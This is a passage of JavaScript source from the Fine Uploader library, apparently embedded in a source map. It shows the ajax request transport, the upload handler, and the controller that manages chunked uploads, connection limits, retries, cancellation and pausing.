https://social.msdn.microsoft.com/Forums/ie/en-US/30ef3add-767c-4436-b8a9-f1ca19b4812e/ie9-rtm-xdomainrequest-issued-requests-may-abort-if-all-event-handlers-not-specified?forum=iewebdevelopment\n                xhrOrXdr.onload = function() {};\n                xhrOrXdr.onerror = function() {};\n                xhrOrXdr.ontimeout = function() {};\n                xhrOrXdr.onprogress = function() {};\n            }\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Returns either a new XHR/XDR instance, or an existing one for the associated `File` or `Blob`.\n    function getXhrOrXdr(id, suppliedXhr) {\n        var xhrOrXdr = requestData[id].xhr;\n\n        if (!xhrOrXdr) {\n            if (suppliedXhr) {\n                xhrOrXdr = suppliedXhr;\n            }\n            else {\n                if (options.cors.expected) {\n                    xhrOrXdr = getCorsAjaxTransport();\n                }\n                else {\n                    xhrOrXdr = qq.createXhrInstance();\n                }\n            }\n\n            requestData[id].xhr = xhrOrXdr;\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Removes element from queue, sends next request\n    function dequeue(id) {\n        var i = qq.indexOf(queue, id),\n            max = options.maxConnections,\n            nextId;\n\n        delete requestData[id];\n        queue.splice(i, 1);\n\n        if (queue.length >= max && i < max) {\n            nextId = queue[max - 1];\n            sendRequest(nextId);\n        }\n    }\n\n    function onComplete(id, xdrError) {\n        var xhr = getXhrOrXdr(id),\n            method = options.method,\n            isError = xdrError === true;\n\n        dequeue(id);\n\n        if (isError) {\n            log(method + \" request for \" + id + \" has failed\", \"error\");\n        }\n        else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {\n            isError = true;\n            log(method + \" request for \" + id + \" has failed - response code \" + xhr.status, \"error\");\n        }\n\n        options.onComplete(id, xhr, isError);\n    }\n\n    function getParams(id) {\n        var onDemandParams = requestData[id].additionalParams,\n            mandatedParams = options.mandatedParams,\n            params;\n\n        if (options.paramsStore.get) {\n            params = options.paramsStore.get(id);\n        }\n\n        if (onDemandParams) {\n            qq.each(onDemandParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        if (mandatedParams) {\n            qq.each(mandatedParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        return params;\n    }\n\n    function sendRequest(id, optXhr) {\n        var xhr = getXhrOrXdr(id, optXhr),\n            method = options.method,\n            params = getParams(id),\n            payload = requestData[id].payload,\n            url;\n\n        options.onSend(id);\n\n        url = createUrl(id, params, requestData[id].additionalQueryParams);\n\n        // XDR and XHR status detection APIs differ a bit.\n        if (isXdr(xhr)) {\n            xhr.onload = getXdrLoadHandler(id);\n            xhr.onerror = getXdrErrorHandler(id);\n        }\n        else {\n            xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);\n        }\n\n        registerForUploadProgress(id);\n\n        // The last parameter is assumed to be ignored if we are actually using `XDomainRequest`.\n        xhr.open(method, url, true);\n\n        // Instruct the transport to send cookies along with the CORS request,\n        // unless we are using `XDomainRequest`, which is not capable of this.\n        if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {\n            xhr.withCredentials = true;\n        }\n\n        setHeaders(id);\n\n        log(\"Sending \" + method + \" request for \" + id);\n\n        if (payload) {\n            xhr.send(payload);\n        }\n        else if (shouldParamsBeInQueryString || !params) {\n            xhr.send();\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/x-www-form-urlencoded\") >= 0) {\n            xhr.send(qq.obj2url(params, \"\"));\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/json\") >= 0) {\n            xhr.send(JSON.stringify(params));\n        }\n        else {\n            xhr.send(params);\n        }\n\n        return xhr;\n    }\n\n    function createUrl(id, params, additionalQueryParams) {\n        var endpoint = options.endpointStore.get(id),\n            addToPath = requestData[id].addToPath;\n\n        /*jshint -W116,-W041 */\n        if (addToPath != undefined) {\n            endpoint += \"/\" + addToPath;\n        }\n\n        if (shouldParamsBeInQueryString && params) {\n            endpoint = qq.obj2url(params, endpoint);\n        }\n\n        if (additionalQueryParams) {\n            endpoint = qq.obj2url(additionalQueryParams, endpoint);\n        }\n\n        return endpoint;\n    }\n\n    // Invoked by the UA to indicate a number of possible states that describe\n    // a live `XMLHttpRequest` transport.\n    function getXhrReadyStateChangeHandler(id) {\n        return function() {\n            if (getXhrOrXdr(id).readyState === 4) {\n                onComplete(id);\n            }\n        };\n    }\n\n    function registerForUploadProgress(id) {\n        var onProgress = options.onProgress;\n\n        if (onProgress) {\n            getXhrOrXdr(id).upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    onProgress(id, e.loaded, e.total);\n                }\n            };\n        }\n    }\n\n    // This will be called by IE to indicate **success** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrLoadHandler(id) {\n        return function() {\n            onComplete(id);\n        };\n    }\n\n    // This will be called by IE to indicate **failure** for an associated\n    // `XDomainRequest` transported request.\n    function getXdrErrorHandler(id) {\n        return function() {\n            onComplete(id, true);\n        };\n    }\n\n    function setHeaders(id) {\n        var xhr = getXhrOrXdr(id),\n            customHeaders = options.customHeaders,\n            onDemandHeaders = requestData[id].additionalHeaders || {},\n            method = options.method,\n            allHeaders = {};\n\n        // If XDomainRequest is being used, we can't set headers, so just ignore this block.\n        if (!isXdr(xhr)) {\n            options.acceptHeader && xhr.setRequestHeader(\"Accept\", options.acceptHeader);\n\n            // Only attempt to add X-Requested-With & Cache-Control if permitted\n            if (options.allowXRequestedWithAndCacheControl) {\n                // Do not add X-Requested-With & Cache-Control if this is a cross-origin request\n                // OR the cross-origin request contains a non-simple method or header.\n                // This is done to ensure a preflight is not triggered exclusively based on the\n                // addition of these 2 non-simple headers.\n                if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {\n                    xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n                    xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n                }\n            }\n\n            if (options.contentType && (method === \"POST\" || method === \"PUT\")) {\n                xhr.setRequestHeader(\"Content-Type\", options.contentType);\n            }\n\n            qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);\n            qq.extend(allHeaders, onDemandHeaders);\n\n            qq.each(allHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        }\n    }\n\n    function isResponseSuccessful(responseCode) {\n        return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;\n    }\n\n    function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {\n        requestData[id] = {\n            addToPath: addToPath,\n            additionalParams: additionalParams,\n            additionalQueryParams: additionalQueryParams,\n            additionalHeaders: additionalHeaders,\n            payload: payload\n        };\n\n        var len = queue.push(id);\n\n        // if too many active connections, wait...\n        if (len <= options.maxConnections) {\n            return sendRequest(id, optXhr);\n        }\n    }\n\n    shouldParamsBeInQueryString = options.method === \"GET\" || options.method === \"DELETE\";\n\n    qq.extend(this, {\n        // Start the process of sending the request.  The ID refers to the file associated with the request.\n        initTransport: function(id) {\n            var path, params, headers, payload, cacheBuster, additionalQueryParams;\n\n            return {\n                // Optionally specify the end of the endpoint path for the request.\n                withPath: function(appendToPath) {\n                    path = appendToPath;\n                    return this;\n                },\n\n                // Optionally specify additional parameters to send along with the request.\n                // These will be added to the query string for GET/DELETE requests or the payload\n                // for POST/PUT requests.  The Content-Type of the request will be used to determine\n                // how these parameters should be formatted as well.\n                withParams: function(additionalParams) {\n                    params = additionalParams;\n                    return this;\n                },\n\n                withQueryParams: function(_additionalQueryParams_) {\n                    additionalQueryParams = _additionalQueryParams_;\n                    return this;\n                },\n\n                // Optionally specify additional headers to send along with the request.\n                withHeaders: function(additionalHeaders) {\n                    headers = additionalHeaders;\n                    return this;\n                },\n\n                // Optionally specify a payload/body for the request.\n                withPayload: function(thePayload) {\n                    payload = thePayload;\n                    return this;\n                },\n\n                // Appends a cache buster (timestamp) to the request URL as a query parameter (only if GET or DELETE)\n                withCacheBuster: function() {\n                    cacheBuster = true;\n                    return this;\n                },\n\n                // Send the constructed request.\n                send: function(optXhr) {\n                    if (cacheBuster && qq.indexOf([\"GET\", \"DELETE\"], options.method) >= 0) {\n                        params.qqtimestamp = new Date().getTime();\n                    }\n\n                    return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);\n                }\n            };\n        },\n\n        canceled: function(id) {\n            dequeue(id);\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common upload handler functions.\n *\n * @constructor\n */\nqq.UploadHandler = function(spec) {\n    \"use strict\";\n\n    var proxy = spec.proxy,\n        fileState = {},\n        onCancel = proxy.onCancel,\n        getName = proxy.getName;\n\n    qq.extend(this, {\n        add: function(id, fileItem) {\n            fileState[id] = fileItem;\n            fileState[id].temp = {};\n        },\n\n        cancel: function(id) {\n            var self = this,\n                cancelFinalizationEffort = new qq.Promise(),\n                onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);\n\n            onCancelRetVal.then(function() {\n                if (self.isValid(id)) {\n                    fileState[id].canceled = true;\n                    self.expunge(id);\n                }\n                cancelFinalizationEffort.success();\n            });\n        },\n\n        expunge: function(id) {\n            delete fileState[id];\n        },\n\n        getThirdPartyFileId: function(id) {\n            return fileState[id].key;\n        },\n\n        isValid: function(id) {\n            return fileState[id] !== undefined;\n        },\n\n        reset: function() {\n            fileState = {};\n        },\n\n        _getFileState: function(id) {\n            return fileState[id];\n        },\n\n        _setThirdPartyFileId: function(id, thirdPartyFileId) {\n            fileState[id].key = thirdPartyFileId;\n        },\n\n        _wasCanceled: function(id) {\n            return !!fileState[id].canceled;\n        }\n    });\n};\n","/*globals qq*/\n/**\n * Base upload handler module.  Controls more specific handlers.\n *\n * @param o Options.  Passed along to the specific handler submodule as well.\n * @param namespace [optional] Namespace for the specific handler.\n */\nqq.UploadHandlerController = function(o, namespace) {\n    \"use strict\";\n\n    var controller = this,\n        chunkingPossible = false,\n        concurrentChunkingPossible = false,\n        chunking, preventRetryResponse, log, handler,\n\n    options = {\n        paramsStore: {},\n        maxConnections: 3, // maximum number of concurrent uploads\n        chunking: {\n            enabled: false,\n            multiple: {\n                enabled: false\n            }\n        },\n        log: function(str, level) {},\n        onProgress: function(id, fileName, loaded, total) {},\n        onComplete: function(id, fileName, response, xhr) {},\n        onCancel: function(id, fileName) {},\n        onUploadPrep: function(id) {}, // Called if non-trivial operations will be performed before onUpload\n        onUpload: function(id, fileName) {},\n        onUploadChunk: function(id, fileName, chunkData) {},\n        onUploadChunkSuccess: function(id, chunkData, response, xhr) {},\n        onAutoRetry: function(id, fileName, response, xhr) {},\n        onResume: function(id, fileName, chunkData) {},\n        onUuidChanged: function(id, newUuid) {},\n        getName: function(id) {},\n        setSize: function(id, newSize) {},\n        isQueued: function(id) {},\n        getIdsInProxyGroup: function(id) {},\n        getIdsInBatch: function(id) {}\n    },\n\n    chunked = {\n        // Called when each chunk has uploaded successfully\n        done: function(id, chunkIdx, response, xhr) {\n            var chunkData = handler._getChunkData(id, chunkIdx);\n\n            handler._getFileState(id).attemptingResume = false;\n\n            delete handler._getFileState(id).temp.chunkProgress[chunkIdx];\n            handler._getFileState(id).loaded += chunkData.size;\n\n            options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);\n        },\n\n        // Called when all chunks have been successfully uploaded and we want to ask the handler to perform any\n        // logic associated with closing out the file, such as combining the chunks.\n        finalize: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id);\n\n            log(\"All chunks have been uploaded for \" + id + \" - finalizing....\");\n            handler.finalizeChunks(id).then(\n                function(response, xhr) {\n                    log(\"Finalize successful for \" + id);\n\n                    var normaizedResponse = upload.normalizeResponse(response, true);\n\n                    options.onProgress(id, name, size, size);\n                    handler._maybeDeletePersistedChunkData(id);\n                    upload.cleanup(id, normaizedResponse, xhr);\n                },\n                function(response, xhr) {\n                    var normaizedResponse = upload.normalizeResponse(response, false);\n\n                    log(\"Problem finalizing chunks for file ID \" + id + \" - \" + normaizedResponse.error, \"error\");\n\n                    if (normaizedResponse.reset) {\n                        chunked.reset(id);\n                    }\n\n                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {\n                        upload.cleanup(id, normaizedResponse, xhr);\n                    }\n                }\n            );\n        },\n\n        hasMoreParts: function(id) {\n            return !!handler._getFileState(id).chunking.remaining.length;\n        },\n\n        nextPart: function(id) {\n            var nextIdx = handler._getFileState(id).chunking.remaining.shift();\n\n            if (nextIdx >= handler._getTotalChunks(id)) {\n                nextIdx = null;\n            }\n\n            return nextIdx;\n        },\n\n        reset: function(id) {\n            log(\"Server or callback has ordered chunking effort to be restarted on next attempt for item ID \" + id, \"error\");\n\n            handler._maybeDeletePersistedChunkData(id);\n            handler.reevaluateChunking(id);\n            handler._getFileState(id).loaded = 0;\n        },\n\n        sendNext: function(id) {\n            var size = options.getSize(id),\n                name = options.getName(id),\n                chunkIdx = chunked.nextPart(id),\n                chunkData = handler._getChunkData(id, chunkIdx),\n                resuming = handler._getFileState(id).attemptingResume,\n                inProgressChunks = handler._getFileState(id).chunking.inProgress || [];\n\n            if (handler._getFileState(id).loaded == null) {\n                handler._getFileState(id).loaded = 0;\n            }\n\n            // Don't follow-through with the resume attempt if the integrator returns false from onResume\n            if (resuming && options.onResume(id, name, chunkData) === false) {\n                chunked.reset(id);\n                chunkIdx = chunked.nextPart(id);\n                chunkData = handler._getChunkData(id, chunkIdx);\n                resuming = false;\n            }\n\n            // If all chunks have already uploaded successfully, we must be re-attempting the finalize step.\n            if (chunkIdx == null && inProgressChunks.length === 0) {\n                chunked.finalize(id);\n            }\n\n            // Send the next chunk\n            else {\n                log(qq.format(\"Sending chunked upload request for item {}.{}, bytes {}-{} of {}.\", id, chunkIdx, chunkData.start + 1, chunkData.end, size));\n                options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));\n                inProgressChunks.push(chunkIdx);\n                handler._getFileState(id).chunking.inProgress = inProgressChunks;\n\n                if (concurrentChunkingPossible) {\n                    connectionManager.open(id, chunkIdx);\n                }\n\n                if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {\n                    chunked.sendNext(id);\n                }\n\n                handler.uploadChunk(id, chunkIdx, resuming).then(\n                    // upload chunk success\n                    function success(response, xhr) {\n                        log(\"Chunked upload request succeeded for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [],\n                            responseToReport = upload.normalizeResponse(response, true),\n                            inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);\n\n                        log(qq.format(\"Chunk {} for file {} uploaded successfully.\", chunkIdx, id));\n\n                        chunked.done(id, chunkIdx, responseToReport, xhr);\n\n                        if (inProgressChunkIdx >= 0) {\n                            inProgressChunks.splice(inProgressChunkIdx, 1);\n                        }\n\n                        handler._maybePersistChunkedState(id);\n\n                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {\n                            chunked.finalize(id);\n                        }\n                        else if (chunked.hasMoreParts(id)) {\n                            chunked.sendNext(id);\n                        }\n                        else {\n                            log(qq.format(\"File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}\", id, JSON.stringify(inProgressChunks)));\n                        }\n                    },\n\n                    // upload chunk failure\n                    function failure(response, xhr) {\n                        log(\"Chunked upload request failed for \" + id + \", chunk \" + chunkIdx);\n\n                        handler.clearCachedChunk(id, chunkIdx);\n\n                        var responseToReport = upload.normalizeResponse(response, false),\n                            inProgressIdx;\n\n                        if (responseToReport.reset) {\n                            chunked.reset(id);\n                        }\n                        else {\n                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);\n                            if (inProgressIdx >= 0) {\n                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);\n                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);\n                            }\n                        }\n\n                        // We may have aborted all other in-progress chunks for this file due to a failure.\n                        // If so, ignore the failures associated with those aborts.\n                        if (!handler._getFileState(id).temp.ignoreFailure) {\n                            // If this chunk has failed, we want to ignore all other failures of currently in-progress\n                            // chunks since they will be explicitly aborted\n                            if (concurrentChunkingPossible) {\n                                handler._getFileState(id).temp.ignoreFailure = true;\n\n                                log(qq.format(\"Going to attempt to abort these chunks: {}. These are currently in-progress: {}.\", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));\n                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {\n                                    log(qq.format(\"Attempting to abort file {}.{}. XHR readyState {}. \", id, ckid, ckXhr.readyState));\n                                    ckXhr.abort();\n                                    // Flag the transport, in case we are waiting for some other async operation\n                                    // to complete before attempting to upload the chunk\n                                    ckXhr._cancelled = true;\n                                });\n\n                                // We must indicate that all aborted chunks are no longer in progress\n                                handler.moveInProgressToRemaining(id);\n\n                                // Free up any connections used by these chunks, but don't allow any\n                                // other files to take up the connections (until we have exhausted all auto-retries)\n                                connectionManager.free(id, true);\n                            }\n\n                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {\n                                // If one chunk fails, abort all of the others to avoid odd race conditions that occur\n                                // if a chunk succeeds immediately after one fails before we have determined if the upload\n                                // is a failure or not.\n                                upload.cleanup(id, responseToReport, xhr);\n                            }\n                        }\n                    }\n                )\n                    .done(function() {\n                        handler.clearXhr(id, chunkIdx);\n                    });\n            }\n        }\n    },\n\n    connectionManager = {\n        _open: [],\n        _openChunks: {},\n        _waiting: [],\n\n        available: function() {\n            var max = options.maxConnections,\n                openChunkEntriesCount = 0,\n                openChunksCount = 0;\n\n            qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {\n                openChunkEntriesCount++;\n                openChunksCount += openChunkIndexes.length;\n            });\n\n            return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);\n        },\n\n        /**\n         * Removes element from queue, starts upload of next\n         */\n        free: function(id, dontAllowNext) {\n            var allowNext = !dontAllowNext,\n                waitingIndex = qq.indexOf(connectionManager._waiting, id),\n                connectionsIndex = qq.indexOf(connectionManager._open, id),\n                nextId;\n\n            delete connectionManager._openChunks[id];\n\n            if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {\n                log(\"Generated blob upload has ended for \" + id + \", disposing generated blob.\");\n                delete handler._getFileState(id).file;\n            }\n\n            // If this file was not consuming a connection, it was just waiting, so remove it from the waiting array\n            if (waitingIndex >= 0) {\n                connectionManager._waiting.splice(waitingIndex, 1);\n            }\n            // If this file was consuming a connection, allow the next file to be uploaded\n            else if (allowNext && connectionsIndex >= 0) {\n                connectionManager._open.splice(connectionsIndex, 1);\n\n                nextId = connectionManager._waiting.shift();\n                if (nextId >= 0) {\n                    connectionManager._open.push(nextId);\n                    upload.start(nextId);\n                }\n            }\n        },\n\n        getWaitingOrConnected: function() {\n            var waitingOrConnected = [];\n\n            // Chunked files may have multiple connections open per chunk (if concurrent chunking is enabled)\n            // We need to grab the file ID of any file that has at least one chunk consuming a connection.\n            qq.each(connectionManager._openChunks, function(fileId, chunks) {\n                if (chunks && chunks.length) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // For non-chunked files, only one connection will be consumed per file.\n            // This is where we aggregate those file IDs.\n            qq.each(connectionManager._open, function(idx, fileId) {\n                if (!connectionManager._openChunks[fileId]) {\n                    waitingOrConnected.push(parseInt(fileId));\n                }\n            });\n\n            // There may be files waiting for a connection.\n            waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);\n\n            return waitingOrConnected;\n        },\n\n        isUsingConnection: function(id) {\n            return qq.indexOf(connectionManager._open, id) >= 0;\n        },\n\n        open: function(id, chunkIdx) {\n            if (chunkIdx == null) {\n                connectionManager._waiting.push(id);\n            }\n\n            if (connectionManager.available()) {\n                if (chunkIdx == null) {\n                    connectionManager._waiting.pop();\n                    connectionManager._open.push(id);\n                }\n                else {\n                    (function() {\n                        var openChunksEntry = connectionManager._openChunks[id] || [];\n                        openChunksEntry.push(chunkIdx);\n                        connectionManager._openChunks[id] = openChunksEntry;\n                    }());\n                }\n\n                return true;\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            connectionManager._waiting = [];\n            connectionManager._open = [];\n        }\n    },\n\n    simple = {\n        send: function(id, name) {\n            handler._getFileState(id).loaded = 0;\n\n            log(\"Sending simple upload request for \" + id);\n            handler.uploadFile(id).then(\n                function(response, optXhr) {\n                    log(\"Simple upload request succeeded for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, true),\n                        size = options.getSize(id);\n\n                    options.onProgress(id, name, size, size);\n                    upload.maybeNewUuid(id, responseToReport);\n                    upload.cleanup(id, responseToReport, optXhr);\n                },\n\n                function(response, optXhr) {\n                    log(\"Simple upload request failed for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, false);\n\n                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {\n                        upload.cleanup(id, responseToReport, optXhr);\n                    }\n                }\n            );\n        }\n    },\n\n    upload = {\n        cancel: function(id) {\n            log(\"Cancelling \" + id);\n            options.paramsStore.remove(id);\n            connectionManager.free(id);\n        },\n\n        cleanup: function(id, response, optXhr) {\n            var name = options.getName(id);\n\n            options.onComplete(id, name, response, optXhr);\n\n            if (handler._getFileState(id)) {\n                handler._clearXhrs && handler._clearXhrs(id);\n            }\n\n            connectionManager.free(id);\n        },\n\n        // Returns a qq.BlobProxy, or an actual File/Blob if no proxy is involved, or undefined\n        // if none of these are available for the ID\n        getProxyOrBlob: function(id) {\n            return (handler.getProxy && handler.getProxy(id)) ||\n                (handler.getFile && handler.getFile(id));\n        },\n\n        initHandler: function() {\n            var handlerType = namespace ? qq[namespace] : qq.traditional,\n                handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? \"Xhr\" : \"Form\";\n\n            handler = new handlerType[handlerModuleSubtype + \"UploadHandler\"](\n                options,\n                {\n                    getDataByUuid: options.getDataByUuid,\n                    getName: options.getName,\n                    getSize: options.getSize,\n                    getUuid: options.getUuid,\n                    log: log,\n                    onCancel: options.onCancel,\n                    onProgress: options.onProgress,\n                    onUuidChanged: options.onUuidChanged\n                }\n            );\n\n            if (handler._removeExpiredChunkingRecords) {\n                handler._removeExpiredChunkingRecords();\n            }\n        },\n\n        isDeferredEligibleForUpload: function(id) {\n            return options.isQueued(id);\n        },\n\n        // For Blobs that are part of a group of generated images, along with a reference image,\n        // this will ensure the blobs in the group are uploaded in the order they were triggered,\n        // even if some async processing must be completed on one or more Blobs first.\n        maybeDefer: function(id, blob) {\n            // If we don't have a file/blob yet & no file/blob exists for this item, request it,\n            // and then submit the upload to the specific handler once the blob is available.\n            // ASSUMPTION: This condition will only ever be true if XHR uploading is supported.\n            if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {\n\n                // Blob creation may take some time, so the caller may want to update the\n                // UI to indicate that an operation is in progress, even before the actual\n                // upload begins and an onUpload callback is invoked.\n                options.onUploadPrep(id);\n\n                log(\"Attempting to generate a blob on-demand for \" + id);\n                blob.create().then(function(generatedBlob) {\n                    log(\"Generated an on-demand blob for \" + id);\n\n                    // Update record associated with this file by providing the generated Blob\n                    handler.updateBlob(id, generatedBlob);\n\n                    // Propagate the size for this generated Blob\n                    options.setSize(id, generatedBlob.size);\n\n                    // Order handler to recalculate chunking possibility, if applicable\n                    handler.reevaluateChunking(id);\n\n                    upload.maybeSendDeferredFiles(id);\n                },\n\n                // Blob could not be generated.  Fail the upload & attempt to prevent retries.  Also bubble error message.\n                function(errorMessage) {\n                    var errorResponse = {};\n\n                    if (errorMessage) {\n                        errorResponse.error = errorMessage;\n                    }\n\n                    log(qq.format(\"Failed to generate blob for ID {}.  Error message: {}.\", id, errorMessage), \"error\");\n\n                    options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);\n                    upload.maybeSendDeferredFiles(id);\n                    connectionManager.free(id);\n                });\n            }\n            else {\n                return upload.maybeSendDeferredFiles(id);\n            }\n\n            return false;\n        },\n\n        // Upload any grouped blobs, in the proper order, that are ready to be uploaded\n        maybeSendDeferredFiles: function(id) {\n            var idsInGroup = options.getIdsInProxyGroup(id),\n                uploadedThisId = false;\n\n            if (idsInGroup && idsInGroup.length) {\n                log(\"Maybe ready to upload proxy group file \" + id);\n\n                qq.each(idsInGroup, function(idx, idInGroup) {\n                    if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {\n                        uploadedThisId = idInGroup === id;\n                        upload.now(idInGroup);\n                    }\n                    else if (upload.isDeferredEligibleForUpload(idInGroup)) {\n                        return false;\n                    }\n                });\n            }\n            else {\n                uploadedThisId = true;\n                upload.now(id);\n            }\n\n            return uploadedThisId;\n        },\n\n        maybeNewUuid: function(id, response) {\n            if (response.newUuid !== undefined) {\n                options.onUuidChanged(id, response.newUuid);\n            }\n        },\n\n        // The response coming from handler implementations may be in various formats.\n        // Instead of hoping a promise nested 5 levels deep will always return an object\n        // as its first param, let's just normalize the response here.\n        normalizeResponse: function(originalResponse, successful) {\n            var response = originalResponse;\n\n            // The passed \"response\" param may not be a response at all.\n            // It could be a string, detailing the error, for example.\n            if (!qq.isObject(originalResponse)) {\n                response = {};\n\n                if (qq.isString(originalResponse) && !successful) {\n                    response.error = originalResponse;\n                }\n            }\n\n            response.success = successful;\n\n            return response;\n        },\n\n        now: function(id) {\n            var name = options.getName(id);\n\n            if (!controller.isValid(id)) {\n                throw new qq.Error(id + \" is not a valid file ID to upload!\");\n            }\n\n            options.onUpload(id, name);\n\n            if (chunkingPossible && handler._shouldChunkThisFile(id)) {\n                chunked.sendNext(id);\n            }\n            else {\n                simple.send(id, name);\n            }\n        },\n\n        start: function(id) {\n            var blobToUpload = upload.getProxyOrBlob(id);\n\n            if (blobToUpload) {\n                return upload.maybeDefer(id, blobToUpload);\n            }\n            else {\n                upload.now(id);\n                return true;\n            }\n        }\n    };\n\n    qq.extend(this, {\n        /**\n         * Adds file or file input to the queue\n         **/\n        add: function(id, file) {\n            handler.add.apply(this, arguments);\n        },\n\n        /**\n         * Sends the file identified by id\n         */\n        upload: function(id) {\n            if (connectionManager.open(id)) {\n                return upload.start(id);\n            }\n            return false;\n        },\n\n        retry: function(id) {\n            // On retry, if concurrent chunking has been enabled, we may have aborted all other in-progress chunks\n            // for a file when encountering a failed chunk upload.  We then signaled the controller to ignore\n            // all failures associated with these aborts.  We are now retrying, so we don't want to ignore\n            // any more failures at this point.\n            if (concurrentChunkingPossible) {\n                handler._getFileState(id).temp.ignoreFailure = false;\n            }\n\n            // If we are attempting to retry a file that is already consuming a connection, this is likely an auto-retry.\n            // Just go ahead and ask the handler to upload again.\n            if (connectionManager.isUsingConnection(id)) {\n                return upload.start(id);\n            }\n\n            // If we are attempting to retry a file that is not currently consuming a connection,\n            // this is likely a manual retry attempt.  We will need to ensure a connection is available\n            // before the retry commences.\n            else {\n                return controller.upload(id);\n            }\n        },\n\n        /**\n         * Cancels file upload by id\n         */\n        cancel: function(id) {\n            var cancelRetVal = handler.cancel(id);\n\n            if (qq.isGenericPromise(cancelRetVal)) {\n                cancelRetVal.then(function() {\n                    upload.cancel(id);\n                });\n            }\n            else if (cancelRetVal !== false) {\n                upload.cancel(id);\n            }\n        },\n\n        /**\n         * Cancels all queued or in-progress uploads\n         */\n        cancelAll: function() {\n            var waitingOrConnected = connectionManager.getWaitingOrConnected(),\n                i;\n\n            // ensure files are cancelled in reverse order which they were added\n            // to avoid a flash of time where a queued file begins to upload before it is canceled\n            if (waitingOrConnected.length) {\n                for (i = waitingOrConnected.length - 1; i >= 0; i--) {\n                    controller.cancel(waitingOrConnected[i]);\n                }\n            }\n\n            connectionManager.reset();\n        },\n\n        // Returns a File, Blob, or the Blob/File for the reference/parent file if the targeted blob is a proxy.\n        // Undefined if no file record is available.\n        getFile: function(id) {\n            if (handler.getProxy && handler.getProxy(id)) {\n                return handler.getProxy(id).referenceBlob;\n            }\n\n            return handler.getFile && handler.getFile(id);\n        },\n\n        // Returns true if the Blob associated with the ID is related to a proxy s\n        isProxied: function(id) {\n            return !!(handler.getProxy && handler.getProxy(id));\n        },\n\n        getInput: function(id) {\n            if (handler.getInput) {\n                return handler.getInput(id);\n            }\n        },\n\n        reset: function() {\n            log(\"Resetting upload handler\");\n            controller.cancelAll();\n            connectionManager.reset();\n            handler.reset();\n        },\n\n        expunge: function(id) {\n            if (controller.isValid(id)) {\n                return handler.expunge(id);\n            }\n        },\n\n        /**\n         * Determine if the file exists.\n         */\n        isValid: function(id) {\n            return handler.isValid(id);\n        },\n\n        getResumableFilesData: function() {\n            if (handler.getResumableFilesData) {\n                return handler.getResumableFilesData();\n            }\n            return [];\n        },\n\n        /**\n         * This may or may not be implemented, depending on the handler.  For handlers where a third-party ID is\n         * available (such as the \"key\" for Amazon S3), this will return that value.  Otherwise, the return value\n         * will be undefined.\n         *\n         * @param id Internal file ID\n         * @returns {*} Some identifier used by a 3rd-party service involved in the upload process\n         */\n        getThirdPartyFileId: function(id) {\n            if (controller.isValid(id)) {\n                return handler.getThirdPartyFileId(id);\n            }\n        },\n\n        /**\n         * Attempts to pause the associated upload if the specific handler supports this and the file is \"valid\".\n         * @param id ID of the upload/file to pause\n         * @returns {boolean} true if the upload was paused\n         */\n        pause: function(id) {\n            if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {\n                connectionManager.free(id);\n                handler.moveInProgressToRemaining(id);\n                return true;\n            }\n            return false;\n        },\n\n        // True if the file is eligible for pause/resume.\n        isResumable: function(id) {\n            return !!handler.isResumable && handler.isResumable(id);\n        }\n    });\n\n    qq.extend(options, o);\n    log = options.log;\n    chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;\n    